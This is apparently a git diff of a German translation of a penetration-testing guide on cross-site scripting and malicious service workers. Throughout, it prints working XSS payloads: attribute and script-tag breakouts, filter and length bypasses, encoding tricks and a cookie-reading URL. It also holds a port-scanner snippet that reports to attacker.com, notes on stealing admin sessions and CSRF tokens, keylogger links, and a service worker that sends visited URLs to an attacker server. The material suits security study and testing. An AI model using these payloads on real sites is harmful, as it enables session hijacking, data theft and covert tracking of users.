1. Von **dem Attribut und dem Tag zu entkommen** (dann befinden Sie sich im rohen HTML) und ein neues HTML-Tag zu erstellen, um es auszunutzen: `"><img [...]`
|
||||
2. Wenn Sie **vom Attribut, aber nicht vom Tag entkommen können** (`>` ist kodiert oder gelöscht), könnten Sie je nach Tag **ein Ereignis erstellen**, das JS-Code ausführt: `" autofocus onfocus=alert(1) x="`
|
||||
3. Wenn Sie **nicht vom Attribut entkommen können** (`"` wird kodiert oder gelöscht), dann können Sie je nach **welchem Attribut** Ihr Wert reflektiert wird **ob Sie den gesamten Wert oder nur einen Teil kontrollieren**, es ausnutzen. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie es dazu bringen, beliebigen Code auszuführen, wenn es angeklickt wird. Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo Sie das `javascript:`-Protokoll verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
|
||||
4. Wenn Ihre Eingabe innerhalb von "**nicht ausnutzbaren Tags**" reflektiert wird, könnten Sie versuchen, den **`accesskey`**-Trick zu verwenden, um die Schwachstelle auszunutzen (Sie benötigen eine Art von Social Engineering, um dies auszunutzen): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
3. Wenn Sie **nicht vom Attribut entkommen können** (`"` wird kodiert oder gelöscht), dann können Sie je nach **welchem Attribut** Ihr Wert reflektiert wird, **ob Sie den gesamten Wert oder nur einen Teil kontrollieren**, es ausnutzen. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie es dazu bringen, beliebigen Code auszuführen, wenn es angeklickt wird. Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo Sie das `javascript:`-Protokoll verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
|
||||
4. Wenn Ihre Eingabe innerhalb von "**nicht ausnutzbaren Tags**" reflektiert wird, könnten Sie versuchen, den **`accesskey`**-Trick zu verwenden, um die Schwachstelle auszunutzen (Sie benötigen eine Art von Social Engineering, um dies auszunutzen): **`" accesskey="x" onclick="alert(1)" x="**
|
||||
|
||||
Seltsames Beispiel von Angular, das XSS ausführt, wenn Sie einen Klassennamen kontrollieren:
|
||||
```html
|
||||
@ -67,14 +67,14 @@ Seltsames Beispiel von Angular, das XSS ausführt, wenn Sie einen Klassennamen k
|
||||
```
|
||||
### Inside JavaScript code
|
||||
|
||||
In diesem Fall wird Ihre Eingabe zwischen **`<script> [...] </script>`**-Tags einer HTML-Seite, in einer `.js`-Datei oder innerhalb eines Attributs mit dem **`javascript:`**-Protokoll widergespiegelt:
|
||||
In diesem Fall wird Ihre Eingabe zwischen **`<script> [...] </script>`**-Tags einer HTML-Seite, in einer `.js`-Datei oder innerhalb eines Attributs mit dem **`javascript:`**-Protokoll reflektiert:
|
||||
|
||||
- Wenn sie zwischen **`<script> [...] </script>`**-Tags widergespiegelt wird, können Sie versuchen, `</script>` einzufügen und aus diesem Kontext zu entkommen, selbst wenn Ihre Eingabe in irgendeiner Art von Anführungszeichen steht. Dies funktioniert, weil der **Browser zuerst die HTML-Tags** analysiert und dann den Inhalt, daher wird er nicht bemerken, dass Ihr injiziertes `</script>`-Tag im HTML-Code enthalten ist.
|
||||
- Wenn sie **innerhalb eines JS-Strings** widergespiegelt wird und der letzte Trick nicht funktioniert, müssen Sie den String **verlassen**, Ihren Code **ausführen** und den JS-Code **rekonstruieren** (wenn ein Fehler auftritt, wird er nicht ausgeführt):
|
||||
- Wenn sie zwischen **`<script> [...] </script>`**-Tags reflektiert wird, können Sie versuchen, `</script>` einzufügen und aus diesem Kontext zu entkommen, selbst wenn Ihre Eingabe in irgendeiner Art von Anführungszeichen steht. Dies funktioniert, weil der **Browser zuerst die HTML-Tags** parst und dann den Inhalt, daher wird er nicht bemerken, dass Ihr injiziertes `</script>`-Tag im HTML-Code enthalten ist.
|
||||
- Wenn es **innerhalb eines JS-Strings** reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie den **String verlassen**, Ihren Code **ausführen** und den JS-Code **rekonstruieren** (wenn ein Fehler auftritt, wird er nicht ausgeführt):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- Wenn sie innerhalb von Template-Strings widergespiegelt wird, können Sie **JS-Ausdrücke einbetten** mit der `${ ... }`-Syntax: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- Wenn es innerhalb von Template-Literalen reflektiert wird, können Sie **JS-Ausdrücke einbetten** mit der `${ ... }`-Syntax: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode-Encoding** funktioniert, um **gültigen JavaScript-Code** zu schreiben:
|
||||
```javascript
|
||||
alert(1)
|
||||
@ -94,7 +94,7 @@ js-hoisting.md
|
||||
|
||||
Mehrere Webseiten haben Endpunkte, die **den Namen der auszuführenden Funktion als Parameter akzeptieren**. Ein häufiges Beispiel, das man in der Wildnis sieht, ist etwas wie: `?callback=callbackFunc`.
|
||||
|
||||
Eine gute Möglichkeit herauszufinden, ob etwas, das direkt vom Benutzer gegeben wird, versucht wird auszuführen, ist **den Parameterwert zu ändern** (zum Beispiel auf 'Vulnerable') und in der Konsole nach Fehlern zu suchen wie:
|
||||
Eine gute Möglichkeit herauszufinden, ob etwas, das direkt vom Benutzer gegeben wird, versucht wird auszuführen, ist **den Parametervalue zu ändern** (zum Beispiel auf 'Vulnerable') und in der Konsole nach Fehlern zu suchen wie:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -149,11 +149,11 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
## In rohes HTML injizieren
|
||||
|
||||
Wenn Ihre Eingabe **innerhalb der HTML-Seite** widergespiegelt wird oder Sie HTML-Code in diesem Kontext entkommen und injizieren können, ist das **erste**, was Sie tun müssen, zu überprüfen, ob Sie `<` ausnutzen können, um neue Tags zu erstellen: Versuchen Sie einfach, dieses **Zeichen** widerzuspiegeln und zu überprüfen, ob es **HTML-codiert** oder **gelöscht** wird oder ob es **unverändert widergespiegelt** wird. **Nur im letzten Fall können Sie diesen Fall ausnutzen**.\
|
||||
Für diese Fälle sollten Sie auch **an** [**Client Side Template Injection**](../client-side-template-injection-csti.md)** denken.**\
|
||||
Wenn Ihre Eingabe **innerhalb der HTML-Seite** widergespiegelt wird oder Sie HTML-Code in diesem Kontext entkommen und injizieren können, ist das **erste**, was Sie tun müssen, zu überprüfen, ob Sie `<` ausnutzen können, um neue Tags zu erstellen: Versuchen Sie einfach, dieses **Zeichen** zu **reflektieren** und zu überprüfen, ob es **HTML-codiert** oder **gelöscht** wird oder ob es **unverändert widergespiegelt** wird. **Nur im letzten Fall können Sie diesen Fall ausnutzen**.\
|
||||
Für diese Fälle sollten Sie auch **an [**Client Side Template Injection**](../client-side-template-injection-csti.md)** denken.**\
|
||||
&#xNAN;_**Hinweis: Ein HTML-Kommentar kann mit\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*oder \*\*\*\*\*\***`--!>`\*\**_geschlossen werden.
|
||||
|
||||
In diesem Fall und wenn keine Black-/Whitelisting verwendet wird, könnten Sie Payloads wie verwenden:
|
||||
In diesem Fall und wenn keine Black/Whitelisting verwendet wird, könnten Sie Payloads wie verwenden:
|
||||
```html
|
||||
<script>
|
||||
alert(1)
|
||||
@ -161,12 +161,12 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Aber wenn Tags/Attribute Black-/Whitelisting verwendet wird, müssen Sie **brute-forcen, welche Tags** Sie erstellen können.\
|
||||
Aber wenn Tags/Attribute Black-/Whitelisting verwendet werden, müssen Sie **brute-forcen, welche Tags** Sie erstellen können.\
|
||||
Sobald Sie **herausgefunden haben, welche Tags erlaubt sind**, müssen Sie **brute-forcen, welche Attribute/Ereignisse** innerhalb der gefundenen gültigen Tags vorhanden sind, um zu sehen, wie Sie den Kontext angreifen können.
|
||||
|
||||
### Tags/Ereignisse brute-force
|
||||
|
||||
Gehen Sie zu [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) und klicken Sie auf _**Tags in die Zwischenablage kopieren**_. Senden Sie dann alle mit Burp Intruder und überprüfen Sie, ob irgendwelche Tags nicht als bösartig vom WAF erkannt wurden. Sobald Sie herausgefunden haben, welche Tags Sie verwenden können, können Sie **alle Ereignisse brute-forcen** mit den gültigen Tags (klicken Sie auf derselben Webseite auf _**Ereignisse in die Zwischenablage kopieren**_ und folgen Sie dem gleichen Verfahren wie zuvor).
|
||||
Gehen Sie zu [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) und klicken Sie auf _**Tags in die Zwischenablage kopieren**_. Senden Sie dann alle mit Burp Intruder und überprüfen Sie, ob irgendwelche Tags nicht als bösartig vom WAF entdeckt wurden. Sobald Sie herausgefunden haben, welche Tags Sie verwenden können, können Sie **alle Ereignisse brute-forcen** mit den gültigen Tags (klicken Sie auf derselben Webseite auf _**Ereignisse in die Zwischenablage kopieren**_ und folgen Sie dem gleichen Verfahren wie zuvor).
|
||||
|
||||
### Benutzerdefinierte Tags
|
||||
|
||||
@ -174,7 +174,7 @@ Wenn Sie kein gültiges HTML-Tag gefunden haben, können Sie versuchen, **ein be
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Blacklist-Bypässe
|
||||
### Blacklist Bypasses
|
||||
|
||||
Wenn eine Art von Blacklist verwendet wird, könnten Sie versuchen, sie mit einigen einfachen Tricks zu umgehen:
|
||||
```javascript
|
||||
@ -226,15 +226,15 @@ onerror=alert`1`
|
||||
//Use more than one
|
||||
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
||||
```
|
||||
### Length bypass (kleine XSS)
|
||||
### Length bypass (kleine XSSs)
|
||||
|
||||
> [!NOTE] > **Weitere kleine XSS für verschiedene Umgebungen** Payloads [**sind hier zu finden**](https://github.com/terjanq/Tiny-XSS-Payloads) und [**hier**](https://tinyxss.terjanq.me).
|
||||
> [!NOTE] > **Weitere kleine XSS für verschiedene Umgebungen** Payloads [**finden Sie hier**](https://github.com/terjanq/Tiny-XSS-Payloads) und [**hier**](https://tinyxss.terjanq.me).
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
Die letzte verwendet 2 Unicode-Zeichen, die sich auf 5 erweitern: telsr\
|
||||
Weitere dieser Zeichen finden Sie [hier](https://www.unicode.org/charts/normalization/).\
|
||||
Mehr dieser Zeichen finden Sie [hier](https://www.unicode.org/charts/normalization/).\
|
||||
Um zu überprüfen, in welche Zeichen zerlegt werden, überprüfen Sie [hier](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
@ -249,7 +249,7 @@ Wenn Sie nur denken, dass **es unmöglich ist, ein HTML-Tag mit einem Attribut z
|
||||
|
||||
### Innerhalb des Tags/Entkommen aus dem Attributwert
|
||||
|
||||
Wenn Sie **innerhalb eines HTML-Tags** sind, ist das Erste, was Sie versuchen könnten, sich **aus dem Tag zu befreien** und einige der in der [vorherigen Sektion](./#injecting-inside-raw-html) erwähnten Techniken zu verwenden, um JS-Code auszuführen.\
|
||||
Wenn Sie **innerhalb eines HTML-Tags** sind, ist das Erste, was Sie versuchen könnten, **aus dem Tag zu entkommen** und einige der in der [vorherigen Sektion](./#injecting-inside-raw-html) erwähnten Techniken zu verwenden, um JS-Code auszuführen.\
|
||||
Wenn Sie **nicht aus dem Tag entkommen können**, könnten Sie neue Attribute innerhalb des Tags erstellen, um zu versuchen, JS-Code auszuführen, zum Beispiel mit einem Payload wie (_beachten Sie, dass in diesem Beispiel doppelte Anführungszeichen verwendet werden, um aus dem Attribut zu entkommen, Sie benötigen sie nicht, wenn Ihre Eingabe direkt im Tag widergespiegelt wird_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
@ -272,7 +272,7 @@ Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo Sie das `jav
|
||||
|
||||
**Umgehung innerhalb des Ereignisses mit HTML-Kodierung/URL-Kodierung**
|
||||
|
||||
Die **HTML-kodierten Zeichen** innerhalb des Wertes von HTML-Tag-Attributen werden **zur Laufzeit dekodiert**. Daher ist etwas wie das Folgende gültig (die Payload ist fett): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Zurück</a>`
|
||||
Die **HTML-kodierten Zeichen** innerhalb des Wertes von HTML-Tag-Attributen werden **zur Laufzeit dekodiert**. Daher ist etwas wie das Folgende gültig (die Nutzlast ist fett): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Zurück</a>`
|
||||
|
||||
Beachten Sie, dass **jede Art von HTML-Kodierung gültig ist**:
|
||||
```javascript
|
||||
@ -291,11 +291,11 @@ Beachten Sie, dass **jede Art von HTML-Kodierung gültig ist**:
|
||||
<a href="javascript:alert(2)">a</a>
|
||||
<a href="javascript:alert(3)">a</a>
|
||||
```
|
||||
**Beachten Sie, dass URL-Encoding ebenfalls funktioniert:**
|
||||
**Beachten Sie, dass die URL-Codierung ebenfalls funktioniert:**
|
||||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
**Umgehung des internen Ereignisses mit Unicode-Codierung**
|
||||
**Umgehung des internen Ereignisses mit Unicode-Kodierung**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
@ -361,7 +361,7 @@ Beachten Sie, dass es **nicht funktioniert**, wenn Sie **beide** `URLencode + HT
|
||||
|
||||
**Verwendung von Hex- und Oktal-Kodierung mit `javascript:`**
|
||||
|
||||
Sie können **Hex** und **Oktal-Kodierung** innerhalb des `src`-Attributs von `iframe` (mindestens) verwenden, um **HTML-Tags zu deklarieren, um JS auszuführen**:
|
||||
Sie können **Hex** und **Oktal-Kodierung** innerhalb des `src`-Attributs von `iframe` (mindestens) verwenden, um **HTML-Tags auszuführen, um JS auszuführen**:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Von [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Sie können eine **XSS-Nutzlast in einem versteckten Attribut ausführen**, vorausgesetzt, Sie können das **Opfer** dazu **überreden**, die **Tastenkombination** zu drücken. Unter Firefox Windows/Linux ist die Tastenkombination **ALT+SHIFT+X** und unter OS X ist es **CTRL+ALT+X**. Sie können eine andere Tastenkombination angeben, indem Sie eine andere Taste im Attribut für den Zugriffsschlüssel verwenden. Hier ist der Vektor:
|
||||
Von [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Sie können eine **XSS-Nutzlast in einem versteckten Attribut ausführen**, vorausgesetzt, Sie können den **Opfer** dazu **überreden**, die **Tastenkombination** zu drücken. Unter Firefox Windows/Linux ist die Tastenkombination **ALT+SHIFT+X** und unter OS X ist es **CTRL+ALT+X**. Sie können eine andere Tastenkombination angeben, indem Sie eine andere Taste im Attribut für den Zugriffsschlüssel verwenden. Hier ist der Vektor:
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
@ -452,7 +452,7 @@ Wenn du ein **XSS in einem sehr kleinen Teil** des Webs gefunden hast, das eine
|
||||
|
||||
Zum Beispiel könntest du dem Element einige Stile hinzufügen wie: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Aber, wenn das WAF das Stil-Attribut filtert, kannst du CSS Styling Gadgets verwenden, also wenn du zum Beispiel findest
|
||||
Aber, wenn das WAF das style-Attribut filtert, kannst du CSS Styling Gadgets verwenden, also wenn du zum Beispiel findest
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
@ -468,15 +468,15 @@ Dieser Trick wurde von [https://medium.com/@skavans\_/improving-the-impact-of-a-
|
||||
|
||||
## Injektion in JavaScript-Code
|
||||
|
||||
In diesem Fall wird dein **Eingang** **innerhalb des JS-Codes** einer `.js`-Datei oder zwischen `<script>...</script>`-Tags oder zwischen HTML-Ereignissen, die JS-Code ausführen können, oder zwischen Attributen, die das `javascript:`-Protokoll akzeptieren, **reflektiert**.
|
||||
In diesem Fall wird dein **Input** **innerhalb des JS-Codes** einer `.js`-Datei oder zwischen `<script>...</script>`-Tags oder zwischen HTML-Events, die JS-Code ausführen können, oder zwischen Attributen, die das `javascript:`-Protokoll akzeptieren, **reflektiert**.
|
||||
|
||||
### Escaping \<script>-Tag
|
||||
### Escaping des \<script>-Tags
|
||||
|
||||
Wenn dein Code innerhalb von `<script> [...] var input = 'reflected data' [...] </script>` eingefügt wird, könntest du leicht **das schließende `<script>`-Tag escapen:**
|
||||
Wenn dein Code innerhalb von `<script> [...] var input = 'reflected data' [...] </script>` eingefügt wird, könntest du leicht **das schließende `<script>`**-Tag escapen:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Beachten Sie, dass wir in diesem Beispiel **das einfache Anführungszeichen nicht einmal geschlossen haben**. Dies liegt daran, dass **die HTML-Analyse zuerst vom Browser durchgeführt wird**, was die Identifizierung von Seitenelementen, einschließlich Skriptblöcken, umfasst. Die Analyse von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, erfolgt erst danach.
|
||||
Beachten Sie, dass wir in diesem Beispiel **nicht einmal das einfache Anführungszeichen geschlossen haben**. Dies liegt daran, dass **die HTML-Analyse zuerst vom Browser durchgeführt wird**, was die Identifizierung von Seitenelementen, einschließlich Skriptblöcken, umfasst. Die Analyse von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, erfolgt erst danach.
|
||||
|
||||
### Innerhalb des JS-Codes
|
||||
|
||||
@ -766,7 +766,7 @@ Vielleicht kann ein Benutzer sein Profil mit dem Administrator teilen, und wenn
|
||||
|
||||
### Sitzungs-Spiegelung
|
||||
|
||||
Wenn Sie ein Selbst-XSS finden und die Webseite eine **Sitzungs-Spiegelung für Administratoren** hat, die es beispielsweise den Kunden ermöglicht, um Hilfe zu bitten, wird der Administrator sehen, was Sie in Ihrer Sitzung sehen, aber aus seiner Sitzung heraus.
|
||||
Wenn Sie ein Selbst-XSS finden und die Webseite eine **Sitzungs-Spiegelung für Administratoren** hat, die es beispielsweise Kunden ermöglicht, um Hilfe zu bitten, wird der Administrator sehen, was Sie in Ihrer Sitzung sehen, aber aus seiner Sitzung heraus.
|
||||
|
||||
Sie könnten den **Administrator dazu bringen, Ihr Selbst-XSS auszulösen** und seine Cookies/Sitzung stehlen.
|
||||
|
||||
@ -870,8 +870,8 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
```
|
||||
Die Antwort ist:
|
||||
|
||||
- **module** (Standard, nichts zu erklären)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles ist eine Funktion, mit der Sie eine Menge Daten (HTML, CSS, JS…) in einer **`.wbn`**-Datei bündeln können.
|
||||
- **Modul** (Standard, nichts zu erklären)
|
||||
- [**Webbundle**](https://web.dev/web-bundles/): Web Bundles ist eine Funktion, mit der Sie eine Menge Daten (HTML, CSS, JS…) in eine **`.wbn`**-Datei verpacken können.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -945,7 +945,7 @@ Wenn die Seite einen text/xml Inhaltstyp zurückgibt, ist es möglich, einen Nam
|
||||
|
||||
Wenn etwas wie **`"some {{template}} data".replace("{{template}}", <user_input>)`** verwendet wird. Der Angreifer könnte [**besondere Zeichenersetzungen**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) verwenden, um zu versuchen, einige Schutzmaßnahmen zu umgehen: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
Zum Beispiel wurde in [**diesem Bericht**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) dies verwendet, um einen **JSON-String** innerhalb eines Skripts zu escapen und beliebigen Code auszuführen.
|
||||
Zum Beispiel wurde in [**diesem Bericht**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) dies verwendet, um **einen JSON-String** innerhalb eines Skripts zu escapen und beliebigen Code auszuführen.
|
||||
|
||||
### Chrome-Cache zu XSS
|
||||
|
||||
@ -986,7 +986,7 @@ constructor(source)()
|
||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Wenn **alles undefiniert ist**, bevor nicht vertrauenswürdiger Code ausgeführt wird (wie in [**diesem Bericht**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), ist es möglich, nützliche Objekte "aus dem Nichts" zu generieren, um die Ausführung beliebigen nicht vertrauenswürdigen Codes auszunutzen:
|
||||
Wenn **alles undefiniert ist**, bevor nicht vertrauenswürdigen Code ausgeführt wird (wie in [**diesem Bericht**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), ist es möglich, nützliche Objekte "aus dem Nichts" zu generieren, um die Ausführung beliebigen nicht vertrauenswürdigen Codes auszunutzen:
|
||||
|
||||
- Verwendung von import()
|
||||
```javascript
|
||||
@ -1345,7 +1345,7 @@ q.shift()()
|
||||
```javascript
|
||||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
||||
```
|
||||
### Port Scanner (websockets)
|
||||
### Port Scanner (Websockets)
|
||||
```python
|
||||
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
|
||||
for(var i=0; i<ports.length; i++) {
|
||||
@ -1388,7 +1388,7 @@ Nur durch eine Suche auf GitHub habe ich einige verschiedene gefunden:
|
||||
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||
- Sie können auch metasploit `http_javascript_keylogger` verwenden
|
||||
- Sie können auch Metasploit `http_javascript_keylogger` verwenden
|
||||
|
||||
### Stehlen von CSRF-Token
|
||||
```javascript
|
||||
@ -1494,7 +1494,7 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
||||
|
||||
## XSS Ausnutzung anderer Schwachstellen
|
||||
## XSS andere Schwachstellen ausnutzen
|
||||
|
||||
### XSS in Markdown
|
||||
|
||||
@ -1515,14 +1515,14 @@ Weitere Informationen zu dieser Technik finden Sie hier: [**XSLT**](../xslt-serv
|
||||
|
||||
### XSS in dynamisch erstellten PDFs
|
||||
|
||||
Wenn eine Webseite ein PDF mit benutzergesteuerten Eingaben erstellt, können Sie versuchen, den **Bot,** der das PDF erstellt, dazu zu **bringen, beliebigen JS-Code auszuführen**.\
|
||||
Wenn der **PDF-Ersteller-Bot** eine Art von **HTML** **Tags** findet, wird er sie **interpretieren**, und Sie können dieses Verhalten **ausnutzen**, um ein **Server XSS** zu verursachen.
|
||||
Wenn eine Webseite ein PDF mit benutzergesteuerten Eingaben erstellt, können Sie versuchen, den **Bot zu täuschen**, der das PDF erstellt, um **willkürlichen JS-Code auszuführen**.\
|
||||
Wenn der **PDF-Ersteller-Bot** eine Art von **HTML** **Tags** findet, wird er sie **interpretieren**, und Sie können dieses Verhalten **ausnutzen**, um ein **Server-XSS** zu verursachen.
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
{{#endref}}
|
||||
|
||||
Wenn Sie keine HTML-Tags injizieren können, könnte es sich lohnen, **PDF-Daten** zu injizieren:
|
||||
Wenn Sie keine HTML-Tags injizieren können, könnte es sich lohnen, zu versuchen, **PDF-Daten** zu injizieren:
|
||||
|
||||
{{#ref}}
|
||||
pdf-injection.md
|
||||
|
||||
@ -8,18 +8,18 @@ Ein **Service Worker** ist ein Skript, das von Ihrem Browser im Hintergrund ausg
|
||||
|
||||
### Überprüfen vorhandener Service Worker
|
||||
|
||||
Vorhandene Service Worker können im Abschnitt **Service Workers** des **Anwendungs**-Tabs in den **Entwicklertools** überprüft werden. Eine weitere Methode ist der Besuch von [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) für eine detailliertere Ansicht.
|
||||
Vorhandene Service Worker können im Abschnitt **Service Workers** des **Application**-Tabs in den **Entwicklertools** überprüft werden. Eine weitere Methode besteht darin, [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) zu besuchen, um eine detailliertere Ansicht zu erhalten.
|
||||
|
||||
### Push-Benachrichtigungen
|
||||
|
||||
**Push-Benachrichtigungsberechtigungen** wirken sich direkt auf die Fähigkeit eines **Service Workers** aus, ohne direkte Benutzerinteraktion mit dem Server zu kommunizieren. Wenn die Berechtigungen verweigert werden, wird das Potenzial des Service Workers, eine kontinuierliche Bedrohung darzustellen, eingeschränkt. Im Gegensatz dazu erhöht das Gewähren von Berechtigungen die Sicherheitsrisiken, indem es den Empfang und die Ausführung potenzieller Exploits ermöglicht.
|
||||
**Berechtigungen für Push-Benachrichtigungen** wirken sich direkt auf die Fähigkeit eines **Service Workers** aus, mit dem Server ohne direkte Benutzerinteraktion zu kommunizieren. Wenn die Berechtigungen verweigert werden, wird das Potenzial des Service Workers, eine kontinuierliche Bedrohung darzustellen, eingeschränkt. Im Gegensatz dazu erhöht das Gewähren von Berechtigungen die Sicherheitsrisiken, indem es den Empfang und die Ausführung potenzieller Exploits ermöglicht.
|
||||
|
||||
## Angriff Erstellen eines Service Workers
|
||||
|
||||
Um diese Schwachstelle auszunutzen, müssen Sie Folgendes finden:
|
||||
|
||||
- Eine Möglichkeit, **willkürliche JS**-Dateien auf den Server hochzuladen und ein **XSS, um den Service Worker** der hochgeladenen JS-Datei zu laden
|
||||
- Eine **verwundbare JSONP-Anfrage**, bei der Sie **die Ausgabe (mit willkürlichem JS-Code)** **manipulieren** können und ein **XSS**, um die **JSONP mit einem Payload** zu **laden**, der einen **bösartigen Service Worker** **lädt**.
|
||||
- Eine **verwundbare JSONP-Anfrage**, bei der Sie **die Ausgabe (mit willkürlichem JS-Code)** **manipulieren** können, und ein **XSS**, um die **JSONP mit einem Payload** zu **laden**, der einen **bösartigen Service Worker** **lädt**.
|
||||
|
||||
Im folgenden Beispiel werde ich einen Code präsentieren, um einen **neuen Service Worker** zu **registrieren**, der auf das `fetch`-Ereignis hört und **jede abgerufene URL an den Server des Angreifers sendet** (dies ist der Code, den Sie **hochladen** müssten, um ihn auf den **Server** zu bringen oder über eine **verwundbare JSONP**-Antwort zu laden):
|
||||
```javascript
|
||||
@ -53,7 +53,7 @@ var sw =
|
||||
```
|
||||
Es gibt ein **C2**, das der **Ausnutzung von Service Workern** gewidmet ist, namens [**Shadow Workers**](https://shadow-workers.github.io), das sehr nützlich sein wird, um diese Schwachstellen auszunutzen.
|
||||
|
||||
Die **24-Stunden-Cache-Direktive** begrenzt die Lebensdauer eines bösartigen oder kompromittierten **Service Workers (SW)** auf maximal 24 Stunden nach einer XSS-Schwachstellenbehebung, vorausgesetzt, der Client ist online. Um die Verwundbarkeit zu minimieren, können die Betreiber der Website die Time-To-Live (TTL) des SW-Skripts senken. Entwicklern wird auch geraten, einen [**Service Worker Kill-Switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) für eine schnelle Deaktivierung zu erstellen.
|
||||
Die **24-Stunden-Cache-Direktive** begrenzt die Lebensdauer eines bösartigen oder kompromittierten **Service Workers (SW)** auf maximal 24 Stunden nach einer XSS-Schwachstellenbehebung, vorausgesetzt, der Client ist online. Um die Verwundbarkeit zu minimieren, können die Betreiber der Website die Time-To-Live (TTL) des SW-Skripts verringern. Entwicklern wird außerdem geraten, einen [**Service Worker Kill-Switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) für eine schnelle Deaktivierung zu erstellen.
|
||||
|
||||
## Ausnutzung von `importScripts` in einem SW über DOM Clobbering
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user